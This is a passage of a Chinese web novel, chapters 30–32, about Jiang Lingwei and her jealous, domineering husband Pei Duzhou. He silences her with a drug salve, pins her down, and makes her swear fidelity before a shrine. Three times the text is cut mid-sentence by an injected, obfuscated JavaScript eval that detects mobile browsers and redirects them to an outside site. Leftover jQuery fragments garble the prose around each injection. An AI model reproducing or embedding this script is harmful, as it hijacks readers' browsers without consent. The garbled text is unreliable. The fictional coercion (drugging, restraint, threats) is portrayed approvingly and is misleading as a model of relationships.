他声线冷硬,含着明晃晃的警告与威胁。尽管心里受用极了,面上仍克制着没有展露出一丝笑意,特别是瞥向在冷风中瑟瑟发抖的少隐时,琥珀似的瞳仁深处划过几分蔑视。 今天这一出,恰是他故意为之。 尽管开头有几幕特别碍眼,好在结果还算令人满意。昔日以杏仁茶引她去厨房,逼迫尚且懵懂的她直面和他的关系。 今日不过故技重施,少隐算什么东西,也配和他相提并论? 她的第一选择永远是他,无论是谁都不可更改。 “我哪里三心二意……”江令薇闻言小幅度地瘪了瘪嘴,有些不满。 她到现在为止都不明白他在气什么?年过二十七,快要到而立之年了,怎么就这么爱生气…… 话音刚落,周遭的空气霎时冷了一个度,上首的眼神再次变得浓沉幽深,直勾勾地盯着她,面无表情地拖着腔调“哦”了一声,“原是我的错,揪着你无理取闹,不可理喻,对吗?” 挺对的。 江令薇踌躇一下,终归还是在被没完没了逼问与背叛本心之间选择了后者。 “怎么会,我没有那么想过……”她讪讪地低头,避开他带着冷意的眼神。 “有没有你自己心里清楚。”他眼尾轻扫,顺势捉住她想收回的左手,沿着指缝弧度交叠,相握。 “真没有……”江令薇呐呐开口,声音如羽絮般微弱。说完后嘴角一直抿着,分不清是心虚还是厌烦。 或许,二者都有。 裴渡舟没有回答,薄唇抿成一条直线,攥着她左手的指骨力道颇大,贴在她手背的肌肤上,深陷其中,似是想把她折断。 她被他攥得有些疼,知晓他定是不信自己的话,再僵持下去,对自己和身后衣着单薄的少隐都没有好处。 想罢,她缓了缓语气,低下头在他骨节分明的手背上轻嘬了一下,禁锢她的力道瞬间小了不少。 她心中松了口气,果然,他喜欢自己这样。上次吵嘴的时候,她杵在原地昏昏欲睡地听他念叨,更确切一点说,是被他单方面骂。 随后一个没站稳,跌倒在他怀里,耳边的阴阳怪气与冷笑顷刻间消失得无影无踪,嘴上说别和他来这套,双臂却箍着她不放。 她当时就隐隐明白,他说不要和别,那就要反其道而行之。他生气,就跟他亲近,拥抱,吻手…… 他现在的反应正好验证了她的想法是没错的。 原来,男人说不要就是要。 心里思绪按下不表,再抬起脑袋时,江令薇乌黑分明的眼中一片澄澈,很认真地道:“你做的杏仁茶我吃了,很好吃,我很喜欢。” “不要生气了,”她小心观察着他缓和下来的神色,犹不放心地在他如玉似的指尖又亲了一下,关心道:“你的手很凉,夜里风大,我们回去休息吧,好吗?” 裴渡舟眼里染了几分清浅的笑意,在黑暗中不明显,不过微扬的语调却出卖了他的心境,似嗔似怨道:“从哪学来的这些鬼习惯,越发不成样子。” “没有谁教我,我一见你,就自发会了。”江令薇回答。 纵使在光线暗沉的夜里,她的眼睛仍是那样明亮,专注地望着他,比之世间万千名胜风景都要惑人。 一颦一笑,一言一行…… 皆是如此,摄人心魄。 “巧舌如簧。”他瞪她,眉目间含着嗔怪。 “……好吧,我是,你说什么就是什么。”她咽回到了嘴边的否认。 少隐至始至终没有发出一点声音,安静地跪着,感受着两人之间情浓意好的氛围,以及那自心底翻涌而起,让人羞愧得无地自容,忽视不了的酸涩与疼痛。 他垂下眼睫,宽大的掌心死死按着大腿间细纱布缠着的伤口,企图骗过自己,那不是嫉妒,只是伤口发疼。 他没有爱上她,没有生情。 那只是常年在黑暗中行走,一时被温暖的阳光晃了眼,所产生的错觉而已。 就像飞蛾扑火,全是误以为,是假的。 他不会做飞蛾。 不会…… 可是当耳旁再度响起她清晰的话语时,心脏的位置忽然一阵紧缩,不受控制地狂跳,以至于拼命抓着伤口保持冷静的手指都短暂地顿了一下,在她的话之下,慢慢地垂落到腰侧,直至再也抓不住那道伤口…… 她道:不要再生气了,会变老的,少隐他想来也不是有心的,再大的过错也—— “也什么?”裴渡舟倏然打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974425|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江令薇的话,瑞凤眼中再窥不见一丝刚才的笑意。 “也……也给——” “无论什么错,你都要给他机会对吗?” 江令薇看着变脸比翻书还快的裴渡舟,一时语塞。 不能给改正的机会吗?据她所知,少隐跟了他七八年,是心腹中的心腹,到底是犯下了什么样的弥天大错,让他听到她的求情就变脸? “自是弥天大错。”裴渡舟睨着她,语气倒是还平静,但依江令薇对他的了解,越平静,则越计较,不悦。 “所以少隐他做了什么?” 他唇角微扬,笑意不达眼底,“不急。”说着,他伸手搂过她的腰肢,将人圈在怀里,修长的手指掐住她的下颌,微微一扭,迫使她看向跪地垂头的少隐。 他一边摩挲她的唇瓣,一边贴近她耳边,漫不经心道:“你这么关心他,要不要我把他送进房里伺候你,如何?” 他的气息喷洒在她颈畔和耳侧,温热,又有些痒。她努力忍着偏头躲开的冲动,认真思索了一会儿。 耳边传来轻笑,江令薇心中一跳,下一刻,圆润的耳垂被人含住,像得到了什么传世珍宝似的,沿着耳廓细细舔舐。“还没想好?看来,到底是我从前疏忽了。 你年轻气盛,又血气方刚,只有我一人伴你身侧,又是个人老珠黄的年纪,委实是太委屈你了,今日我便将少隐纳给你做小侍,日日在你房中服侍,你觉得怎样,好是不好?” 嗓音清冽又柔和,可她却无端感受到一阵凛冽的寒意,仿佛吻过她耳垂的不是湿软的舌尖,而是阴冷的大蛇在嘶嘶地吐信子,轻而易举地缠绕住她的身体。 就像现在一样,从头到脚,都是属于他的气息。 不能反抗,不能逃跑。 一旦亮出一点拒绝的意图,身后的这只蛇就会立刻露出骇人的獠牙,毫不留情地咬破她的脖子,把她吞吃入腹。 江令薇尽力忽略身上激起的大片鸡皮疙瘩,斟酌着开口:“……嗯,如……如果你不笑得这么瘆人的话,我——” “哦,”他意有所指地拖长了音调,似笑非笑道:“所以你就真信了,要纳他进房对么?” 江令薇咽了咽口水,一时踌躇难言,是非好坏全都由他评说,她说信也不对,不信也不对。 裴渡舟也不着急,有力的手臂环着她的脖颈,轻轻抚弄。 一双狭长的瑞凤眼隔着漫天寒风睨着地上垂头不语的少隐,眸中栖息着清晰可辨的讥诮。 长夜庭院,猎猎朔风。少隐低着头,不知道在想什么。 裴渡舟无声冷笑,与江令薇耳鬓厮磨地缠在一起,似威胁似怨怼道:“很难抉择吗?” 说完,他圈在她腰间的臂膀搂得更紧了几分,彻底地让她没有丝毫逃离的机会,只能依偎在他怀里。 面对这个一不小心就会挑起他怒气的问题,江令薇在心中仔细地深思了一小会儿,确保自己的说辞的确无可挑剔之后,才抬头,还未出口,便撞进了一双如画的黑眸中。 少隐不知何时抬起了头。 30. 第 30 章 少隐瞳仁乌黑,怔怔地盯着江令薇,眼眶微微泛红。 迎着这样的视线,江令薇蹙起眉,不知怎的,她竟然从他的眼神里看出了一丝难得的脆弱,像是期盼又像是别的意味。 总之,他的眼神过于复杂,她看不懂。 忽然,江令薇察觉到耳垂被不轻不重地咬了一下,不算疼。但她知道,再磨蹭下去,迎接她的必定不会是裴渡舟的好脸色,好脾气。 “我不会纳少隐进房。”她说。黑白分明的眼睛没有回避少隐的视线,极为认真地凝视着几步处跪立的男人,一字一句道:“我不会让你成为我的小侍,那是在恩将仇报,你放心,我绝不会那么做。你未来想娶妻或是嫁人,我都会尽所能帮你的。” 一番话落,身后之人喉中溢出一声低笑,透着几分慵懒的磁性。温热宽厚的大掌从后扣住她的下颌,在嘴角印下一个轻柔的吻,“真这么想?” 江令薇不明所以,但还是如实道:“让有救命之恩的恩人做小,这怎么也说不通,除非是对这个恩人心怀怨恨,那才合理。” 见少隐垂下眼,身躯小幅度地颤抖,她又有些不确定地补充道:“我这么想不对吗?难道,报恩就是让人给自己做小?” “恩人?”裴渡舟挑眉,意味不明地重复了一遍,“你的恩人很多嘛。” 声音听不出情绪,仿佛只是随意一问。 然而那双瑞凤眼中的寒意却铺天盖地,连周遭的空气好似都被浸染,越来越令人窒息,江令薇一呼一吸之间,都感觉是处于紧紧缠绕的蛇尾中,艰难地寻求稀薄空气的垂怜。 “我竟不知,少隐也是你的恩人。”他神情转冷,薄唇紧贴着她的颈侧,唇舌温热又湿润,可她半点感受不到,只觉后背发凉,冷得惊人。 又生气了…… 江令薇觉得自己的心被两种温度互相拉扯着,一半是漫天威压中,生出骇然的冷,一半是被再三逼问,激起气性的热。 不过,此刻终究还是冷战胜了热。 她深吸一口气,竭力克制着越发不受控的不满,解释道:“少隐救了我,自然算是恩人。”在他下一句冷冽的语句落下前,她早有预料,温声补充道:“当然,无论他是不是恩人,我都不会纳他做小侍。” “理由呢?”他淡声问。 “因为你曾经不是说,我敢跟别人在一起,你要让我生不如死吗?我虽然并不……”眼看实话又要说漏嘴溜出来了,关键时刻,江令薇察觉不对反应过来,略有些结巴地道:“我是说……我不想死,我想和渡舟哥哥你一起活着。 我答应过你,我不会食言的。” 裴渡舟唇畔牵起一抹弧度,却是松开手,颀长的身躯在黑暗中看不清轮廓,连带着声音也栖息着说不清的意味。 “答应?” “对,”江令薇没意识到他的情绪,还以为是担忧自己会失信,遂保证道:“我一定会守信的。” 话语没有得到回应。 男人隐在暗色下的脸庞比之刚才更为冷峻,似乎她说了什么狼心狗肺的话。 江令薇没有管那么多,丢下这句话后,偏头看了看一直跪着的少隐,动了动唇,试探着向裴渡舟道:“这么晚了,少隐今天也受了伤,要不还是先让他回去休息,明早再说,你觉得呢?我们也——” “呵,”裴渡舟扬唇冷笑,“才跪了多久,这就心疼了?” 江令薇的话又一次被打断,心中的疑问与不快更甚。他听得懂自己在说什么吗?如若少隐真犯下不可挽救弥天大错,他为什么避而不谈?无论什么回答到他耳朵里,回馈给她的就只剩不可理喻的质问。 真是……越来越—— “你给我进来。” 压抑着火气的声音自她身前响起,下一刻,右手手腕猛地被拽住,力道大的她完全反抗不了。 雕花木门被他从外砰的踹开,那动静在寂静的夜里显得尤为瞩目,令人心头猛跳。 江令薇被他扯的一个踉跄,再也维持不住装出来的好气性,加重了语气:“你到底想干什么!” 裴渡舟不语,只是脸色愈发阴沉,一双狭长深邃的瑞凤眼中跳动着炽烈的火苗。他紧紧攥着她白净的手腕,单手打开内室的门,质地上好的紫檀木门向里开合时,隐约可见几道裂纹,足以让人窥见他现在是何心情。 书房外的少隐倏然抬头,愣愣地看着里面急行的两人。 无论他们在说什么话,要做什么事,只要没有吩咐,他都只能像现在这样,成为一个彻彻底底的局外人。 这样的认知盘桓在心头,恍恍惚惚的,似有针在戳。 如画黑眸,长睫倾覆,原来藏在那双眼中的情绪,真是令人揪心的期盼。 即使他知道完全不可能,但心不受控制,终究成了他最不齿的飞蛾,执着地想扑进那团热烈的焰火中。纵然只是刹那温暖也心满意足。 内室之中未点火烛,全然漆黑,比外面还要沉闷静抑,好似在某个不知名角落,正潜伏着一只张开獠牙的大蛇,等着猎物的进入。 江令薇性格之中没有怯懦这一说,但面对他的时候,却独独失了效。火气与急速攀长的惊惧纠缠在一起,分不清是哪一种更多一点。 余光瞥见床榻的形状,心头骤然一缩,火气顷刻间占据了上风,理智出逃,勉强稳住声线,冷声道:“不理我,不喜欢我说的话,把我房里带,你是要打我吗?” 从前相处的时候他也不是没有这样做过,只不过不是功夫上的切磋罢了。完完全全是力量的压制。 身前人的脚步忽地顿住。 没等她再说些什么,裴渡舟转了身,神祇似的面容没有任何表情,掀唇反问:“打你?” “难道不——你!” 江令薇瞳孔放大,惊呼戛然而止,亦不知道是第几次未能说出完整的话。 裴渡舟收回紧握着她手腕的宽大手掌,移开时,漆黑的屋子里,有一股莫名的味道浮动。 是失语香。 作用如其名,涂抹于肌肤之间,能叫人短暂的说不了话。 制成这种香膏所需草药极为昂贵,其中一味药材几乎千金难求,制作过程还十分不易,李疏也才堪堪制成两瓶。他得了后却回回用在她身上,每次吵嘴过于激烈时,他便用这瓶香膏强制性地让她闭嘴。 这算什么?话也不愿让人说。江令薇瞪他,杏眸睁得滴溜儿圆。 裴渡舟并未理她,在侧方桌案的抽屉中取出蜡烛与硫黄发烛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974426|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如玉的指尖稍加划动,炽热火光窜生,为那双冷白的手染上几分生动的暖意。 随着烛火亮起,室内的一切涌进江令薇眸中。 瑰丽的绮纱窗边,几本边缘卷起的古书堆叠在沉香木桌案上,是她前日还未背完的书。几步远的地方赫然就是她刚才注意到的误以为是床的软榻,不过不管是床是塌,甚至桌椅、镜台、书案任何能容纳两人的摆件,对他来说都没区别。 裴渡舟秉烛撩起隔间的帘子,眼皮轻掀,向她投来漠然的一眼,“自己过来。” 素色帘子卷起的空隙里,能瞧见墙边的神龛上供奉着一座道家的元始天尊塑像。江令薇在这座王府住的时日不算久,陈设布置除了卧房正厅和花园有所改动之外,其余的部分多是沿用以前建成的模样,未曾改动。 每一座王府书房的隔间里都供奉有神位。以前都是凭皇子自己随心,但自从一年前皇帝病了之后,宫里宫外,所有皇亲贵胄的府中都只能供奉跟道家有关的诸神。 江令薇抿着唇,蛾眉蹙得极深,他又不信神,喊她过去做什么? 刚才达到极致的情绪蓦然被人为中断,就算说不了话,但体内终究还残存有大半的恼怒与火气。她偏过头不看他,作势正欲离开。 然而还未迈出一步,阴冷的嗓音自前方传来,似早有预料,“江令薇,你敢走。” 她…… 确实不敢。 主要是激烈的火气被打断,又被他冷了一会儿,各种冲动的念头转了一瞬,总归还是没有刚才那么强烈,不足以叫她跟他对着干。 江令薇闭了闭眼,到底还是忍着怒气慢吞吞地挪回他身边,跟在他身后亦步亦趋地进了隔间。 帘子被放下,狭小的空间里只剩她和他,还有正中央那座慈眉善目的神位。 裴渡舟将火烛摆在案边的烛台上,取来三炷香点燃插在香炉里,撩起衣袍,曲膝跪立于蒲团之上,侧目看她,语气算不上多好,“需要我再提醒你一遍吗?” 江令薇握着拳,脸色也不好看,下意识地动了动唇,想说:不跪,她又不信神。 耳边没有响起任何声音,无边的寂静提醒着她,她现在失语了。 没忍住,她偷偷瞧了他一眼,然后便撞进了一双狭长深邃的眸子之中,静静地盯着她。 分明是仰视与跪立的姿态,多少该显得弱势一些,可做出这个举动的人是他,莫说是弱势,给人感觉比之刚才还要强势几分。烛火的光晕氤氲在他侧脸间,将那张美得惊心动魄的脸更添了几分隐隐绰绰的妖异之感。 衣饰虽简单,只着一身月白锦袍,腰间挂着条碧玉腰带。但极好地勾勒了他的身形,宽肩窄腰,健硕有型,手骨匀称修长,跪在那,气质矜贵,谁看了不叹一句清逸出尘,神仙中人。 江令薇的视线却没有多加停留,再好看的人,日日相见,于她而言,也终归是没有初见时的惊艳。 咚的一声,她直挺挺地跪下,再多不愿,内心之中再多否认,都还是敌不过对他下意识地依赖与信任,这是自承明三十八年的雨夜就刻印在她身体里的东西,至死方休。 毕竟,他这种程度的恩人,世间绝无仅有。 寻遍世间,也只有双亲会如此。 31. 第 31 章 想着想着,江令薇怒气又消了一点。 虽然他确确实实不可理喻,但恩情大过天,她应该宽容一点的吧…… 她暗自琢磨。 “知道我为什么生气吗?” 身侧传来他冷冽的嗓音。 江令薇刚说服好自己,听到他的语气,心头的不快又开始增长。 不知道,她怎么知道,只有神才知道。 而且,问一个涂抹了失语香的人问题,真的不是在耍她玩吗? 裴渡舟似乎也没想听她回答,盯着上首的天尊塑像,声音不含任何一丝情绪,“我们是什么关系?” 略微有些熟悉的问题,江令薇皱着眉,想了一会儿后随即意识到这是他曾经问过的话。 已经得到答案的问题为什么还要再问一遍? 他今天从头到尾都很莫名其妙。 索性她也说不了话,瞥了他一眼,见他无动于衷的冷硬侧脸后,竭力克制的气性也逐渐压不住,蹭得窜上来,遂学着他的模样,注视着神龛的塑像,背脊挺得笔直,唇角紧抿,不予理会。 身侧之人仿佛也不在意她的举动,冷漠如冰的声音还在继续。 “少隐是你的恩人,我也是你的恩人,谁都可以成为你的恩人,谁都可以让你守信。” “江令薇,你还真是宽容大度。” 那不然呢?人不是都应该知恩图报吗?对恩人守信不是理所当然吗? 这个道理还是她一年半前在他书房看书时,偶然看到的。事后她还问他这样想对不对,他明明没有否认,笑着拥她入怀,说她是乖孩子。 怎么如今,就不对了呢? 虽然这样想,江令薇却没有回头,一动不动地跪在蒲团上,小脸板着,仿佛在跟他较劲。 太蛮不讲理了。他有什么话不能好好说呢,她非神祇,无法把每个人的想法都揣摩得一清二楚。 狭窄的隔间里,什么响动都没有,无边的沉默在两人之间蔓延,静抑又令人窒息。 神像之下,两人皆是跪立,一个身材凛凛,风神秀异;一个削肩秀颈,乌发似虬。二者居于一室,令这光线昏黄黯淡的隔间都变得增辉了许多。 然而彼此面上是如出一辙的漠然,谁也不搭理谁,怀着不同心思,不主动破冰。 唯有蒲团之下的衣角,肆无忌惮地重合堆叠,不分彼此地纠缠在一起。 红烛摇曳,烛油无声地滴满了烛台,在质地细密的神案上留下了一滩凝固的白色物体。 静谧之中,隐约有骨节扭动的声音响起。 “你要一直当哑巴是吗?”裴渡舟总算开了口,比之先前的平静冷淡,现在明显多了几分难平的情绪。他侧目看她,琥珀色瞳仁在烛火掩映下,恍惚间竟有些难得的凄凉。 这是江令薇脑袋中的第一想法。 明明嘴里还在威胁她,手骨也攥得霹雳作响,却又用这样惹人怜惜愧疚的眼神盯着她看,似乎她才是那个十恶不赦的罪人。 各种往事在心间翻腾,温馨的、满足的、不服的、不快的……最终渐渐定格为他现在的眼神。 脆弱,苍凉…… 江令薇终究无法做到置之不理,再者,少隐还在外面候着,当下最要紧的就是让他回去休息,万一日后腿伤复发,落个残废,那可不行。 想罢,她缓和了面色,凑到他身前,伸出右手,示意他把解药给她,否则她确实要一直当哑巴了。 裴渡舟盯着她看了半晌,眸中情绪难辨。在她耐心耗尽要自己动手去搜的时候,如玉的手指轻轻按在她唇角的位置,沿着唇瓣弧度缓缓将一颗形状很小的黑色丹丸喂了进去。 丹丸无色无味,江令薇吞下之后,在心中数了两三下,再开口时,果然已经能发出声音了。 她咳嗽一声,遂又有些记仇地别过头,然而语气却怎么也生硬不起来,“不知道你在生气什么,今天发生了那么多事,少隐要是真犯下了什么不可饶恕的罪行……但他到底救了我一命,为了我,饶他一命吧,好吗? 我以后一定会加倍报答你,对你好。” 说到最后,她已然抬起头,乌黑分明的杏眸充斥着真切的祈求。据她了解的他,要是真想杀少隐,早杀了,怎么会等到现在。她看到现在也算是明白了,他似乎很看不惯自己为少隐求情的那些话。 既然这样,那她现在降低要求,故意只说饶其性命,而不再像之前那样,他应该不会再无端生气了吧? “有你这般护着,我怎么敢动他?”裴渡舟扯唇冷笑。 仍旧生气,并且阴阳怪气。 江令薇装作没听懂他话里的讽刺,立刻顺坡下驴,朝外边扬声,吩咐少隐快回去。 少隐的回复过了几息才传来,声线仍带着些颤意,“……属下遵命。” 江令薇转回身,见他冷峻的面容,想说些什么缓和气氛的话,然而在脑中搜刮了半天,最终还是住了嘴。她应该说什么呢?在一个随时会动怒的人面前,好像说什么都有可能会被误解。 他就是这样的性子。她知道。 “我记得你吃过解药了,不是吗?”裴渡舟面无表情地睨着她,青筋盘虬的掌背连骨节都隐隐发了白,对她木头似的杵在这感到很不满。 “……是,吃过了,”她呐呐应着,迟疑了一会儿,才道:“但天色已晚,是不是该……该睡觉了,你不睡觉吗?” 应对生气的他,实在太过耗费精力,她其实也有些累了。 “原来我还配得到你的关心?”裴渡舟这般说着,手掌却猛然一拉,把江令薇拉得一个趔趄,惊呼一声直接倒在了他怀中。 猝不及防之下,她脑袋撞在他紧实的胸膛前。 接着,一个天旋地转,她被他抵着压在了神案前,连想要反抗的双手也在他宽大的手掌中紧紧攥着,交叉举过她头顶,更不要说被他长腿围在中间无力抵抗的双腿了。 完完全全是一个彻底掌控压制的姿势。亦是长夜之中,彼此偶尔会用到的姿势。 “你很想睡觉吗?”他眼眸微眯,朗星似的眸子中划过几分诡异的光晕,似笑非笑。修长的大手停在她腰侧,不容分说地单手解开丝质束带,挑起衣摆就要伸进去。 “你……”江令薇一时被眼前发展惊得无法反应,他还有这样不为人知的癖好吗?在神像前,搞这些…… 直到肌肤上传来冰凉的触感时,才猛地一激灵,弓起腰想翻身,却忘了双手早已被牢牢禁锢,反而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974427|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎之下,将衣裙卷得更开了些。 肌肤一接触到空气,便激起一片鸡皮疙瘩,冷得人直发抖,偏偏腰侧的那只大手似乎还有继续往上的意图,不紧不慢的动作,仿佛要把她体内所有残留的火气与不满全部冰封。 江令薇实在受不住这般磋磨,开口求饶:“别在这里,我冷……” 裴渡舟轻挑剑眉,骨节分明的手指却并未停下动作,反而愈演愈烈,直将她刺激的连眼角都浸出了泪水。他俯身逼近她的脸,动作温柔又饱含强势地为她一一擦干泪痕,嘴角漾起弧度:“是这样跟我说话的吗?” “你今天呛我多次,我很不开心,从前我是怎么教你的?乖孩子,喊出来,别再让我难过。” “渡舟哥哥……我真的冷……”江令薇立刻改口,白净的小脸皱成一团,分不清是气的还是冷的。 他状似怜惜地低叹一声,大手一揽,将人紧紧搂在怀里,感受着她将全身都往自己身上缩的动作,眸中的诡异光晕散了些许。轻抚着她的脑袋,慢条斯理道:“现在能回答了吗,我们是什么关系?” 江令薇把脑袋埋在他温热的胸膛里,传出来的声音经过衣袍的阻隔,显得闷闷的,“夫妻。” 没等他说话,她像是又想起什么似的,忙不迭补充道:“我们是夫妻。” “所以,知道错了么?”他一下下轻拍着她的背,下颌搁在她头顶,姿态说不出的亲密无间。 “……什么——” “嗯?” 暗含着威胁的提醒响起,江令薇紧急咽回喉中未尽的话,虽然仍是有些不服气,但嘴上应得很乖,“知道,我错了。” 说完后,忆起他从前的性子,她又是一阵心烦意乱,待会不会又要问她错哪了吧? 她有什么错,她是真的不理解。 不过出乎意料的,裴渡舟并没有如她所料揪着这个问题不放,反而意有所指地道:“你知道就好。夫妻之间不需要承诺,需要的是你的心,敢跟别人搞混的话,小心你的皮。” “……所以,你是在为我说会对你守信而生气?”江令薇越想越觉得是这样,怔愣之后便是长久的错愕。守信难道是什么骂人的话吗?是她读书读少了,还是他…… 年纪大?听不懂话?——不可能啊,别人四五十岁身子骨都很硬朗,说起话来也是有条有理。 怎么偏他这样? 到底有些没忍住,她从他怀里抬起头来,一本正经地解释道:“人心易变,但承诺不会变,我搞不懂你……” 话音刚落,裴渡舟稍加缓和的神情又沉了下来,琥珀色的瞳仁里似凝了两簇燃起的火苗,“人心易变?” “……是,嗯……我是说书上是这么说的。”观他不渝的神色,江令薇心中一紧,生生改了已经到嘴边的话。 他唇角牵起一抹弧度,轻声笑了,“原是书上说的。” 江令薇讪讪应和,眼皮跳得剧烈。 “那我的薇薇是如何想的?”他又问,颇有些不依不饶的架势。 刚才的寒冷仿佛还留于体内,这个问题该如何回答,是个人都明白。可偏生她今天被他逼问的有些过于频繁,内心积攒的不快已经趋于顶峰,不知道什么时候就会显露出来。 32. 第32章 面对裴渡舟紧追不放的诘问,江令薇舔了舔干涩的唇,面上乖顺,装作仔细思考的样子,心中却嘀咕:她还能怎么想?人心就是易变,要不然的话,世间为何会有这么多恩恩怨怨,是是非非呢…… “你说的都对,我都听你的。”最终,她还是妥协了,没有正面回答这个问题,转为一脸真诚地附和他。这下总该翻篇了吧? “我说什么了?”他倏尔掀唇笑了,高挺的鼻梁亲昵地蹭了蹭她的鼻子,眸中含着鼓励,嗓音轻缓:“在我面前,不可以扯谎。” 江令薇抿着唇,不太信他的话。但他好像并不着急,一改之前阴沉着脸要训诫她的样子,诱哄似的又说了几句。她脑袋被揽进他怀里,靠着他紧实有致的胸膛。 软软的,又有些韧性。脑海里不受控制地忆起一些旖旎缠绵的画面。 耳朵被捂得滚烫,连带着大脑也被传染,晕乎乎的。 时间在这一刻仿佛静止,耳边的声音恍恍惚惚的,所能清楚感受到的唯有他精壮的上身。 她口舌忽然变得有些干燥,下意识地用脸蹭了蹭那温热的胸肌,在耳边传来一声明显的轻哼时,她才渐渐找回自己的声音,却是脱口而出:“你的胸好软啊……” “是吗?”低笑夹杂着明显哑了几个度的嗓音自她耳边响起。 江令薇意识仍旧晕沉,更确切一点说,是陷在他的温柔乡里,不愿抽离。“当然,我很喜欢。”她向来不吝啬表达这方面的感受。 虽说先前吵成那样,但只要他缓和几分语气,她很难再板着脸无视他。 她闭着眼,鼻翼翕动间,微甜的雪莲香涌入其中,呼吸渐重。 “我现在有些想睡你,你愿意吗?让我睡一下你,好吗?”她清晰地感受到自己内心的欲望,复又不加任何语言修饰地传达了出来。 她想要,从来会明说。不会为任何欲望羞怯,口是心非。 于她而言,欲望就是欲望,想要就去做,就去得到。 “没有回答我的问题,又想睡我?好贪心啊,薇薇。”裴渡舟低眸笑着看她,声音端的散漫。“你先说,我再考虑。” 问题…… 江令薇努力想了想,然而脑海里不受控制,一会儿浮现着他衣襟下的情景,一会儿又闪回他刚才的追问,在喘息愈发粗重,分辨不清是自己的还是他的时候,总算维持住最后几分清明,道:“我自然是那么想的,人心善变,而诺言永存,我想我也会变的,但我永远不会忘记对你的诺言。” 身前的温热霎时不再,她的下颌被挑起,意识朦胧还未反应过来,就对上他那双似结了寒冰的瑞风眸。“你还真敢说。” “啊?”江令薇不懂,发昏的脑袋在这种眼神地注视下,逐渐清醒过来,蹙着眉瞅了瞅他的面色,莫名道:“不是你叫我说的嘛……你看你,早知我不说了,你偏叫我不能扯谎,可我一旦说了你又生气,你果然是在没……” 她声音越来越小,唇瓣嗫嚅,却终究闭了嘴,只在心中补充完:果然是在没事找事。 “继续说啊,”他扬眉冷笑,双指钳制着她光滑的下颌,嗓音中压抑着火气,“谁给你的胆子这么跟我说话?少隐?五皇子?还是给了你几分好脸色的陛下? 萧朝朝野上下,没有我,谁人知你江令薇?” 他的最后一句话对任何一个人来说,都可谓是刺耳极了。 他很明白,可那又如何。 胸腔中的情愫已经达到了一个近乎无理渴求的程度,每时每刻都在疯狂地渴望着她的爱。她已经拥有得够多了,在初见时的雨夜,她就天然拥有了伤害他的权利。 拥有这么多,却吝啬地不愿满足他的爱欲,何其残忍,何其可恨! 果真是该好好管教,最好是关起来,陪他下地狱…… “可是我有你啊,你说的不是事实。”江令薇眉头紧锁,脑子懵得像涂了浆糊,“我的回答为什么会跟其他人有关系,你觉得是谁教我说这些话吗?没有,通通没有。” 她顿了顿,感觉自己都有些口齿不清了,明明他说的每一个字她都懂,但是连在一起,就让人奇怪,“我没有那么好被教唆,你不喜欢为什么要叫我说呢?” “我是让你说这些吗?” “你的心是什么做的?” “每天的书都看哪里去了?” 劈头盖脸的叱骂毫不留情地砸在江令薇面上,她微张着唇,被骂得不知所措,哑然失语。 裴渡舟冷眼睨着她,“人心易变,真是薄情寡义的话,还是说,你是在预兆你自己?你想提醒我,终有一日,你会像换衣裳一样,转身就抛下我,变却情意,享你公主威仪,三夫四侍。 不再爱我了,对吗?” 他死死盯着她,鸦羽似的睫毛也掩不住眼角正泛起的红,一张满含怨怼与破碎的芙蓉面融入她的眼睛。 又是这样…… 一边骂人,一边这样看她,人怎么能矛盾成这幅样子。 江令薇感受着心底不可忽视的丝缕涩然,怔怔想着。“你这样……真的很像一些书上写的怨夫,可我明明没有做什么。” 裴渡舟扯唇一笑,却是讥诮,“你最大的错,就是将儿时的一切记得太深,明明你深爱着我,却自愿龟缩在儿时噩梦下,冷眼看着我为你不安,心碎,你到现在都不敢直面你的心,人不该也不能懦弱成这样!” 深爱着他……江令薇眼睫垂下,遮住了其中的困惑不明。有吗? 没给她足够的反应时间,他猝然拉起她的手腕,不由分说地将她重重摁在蒲团上,她仰头,眸光里的他重新取来香点燃,利落地插于香炉中,袅袅青烟飘起,模糊了他阴沉的侧脸。 他在她身边一同跪下,嗓音裹挟着命令送进她的耳中。“现在,我说一句,你重复一句。” “说什么?”她仍不理解,他拉她进来,原来是为了在神像面前发誓吗? 他无视了她的疑问,在掌管一切事物初始和根源的天尊塑像下,一字一句道:“我永远爱江令薇,直到灵魂湮灭,轮回无我,违誓,便教我世世为人牲畜,受尽欺辱,死不瞑目。” 清冷沉着的声音回荡在狭窄的隔间里,砸到她的心头,浪潮似的翻涌起层层波涛。这是他第一次对她直言爱之一字,以前从未提过。然而此刻胸腔中却不是正常人会有的悸动,而是罕见地想退怯 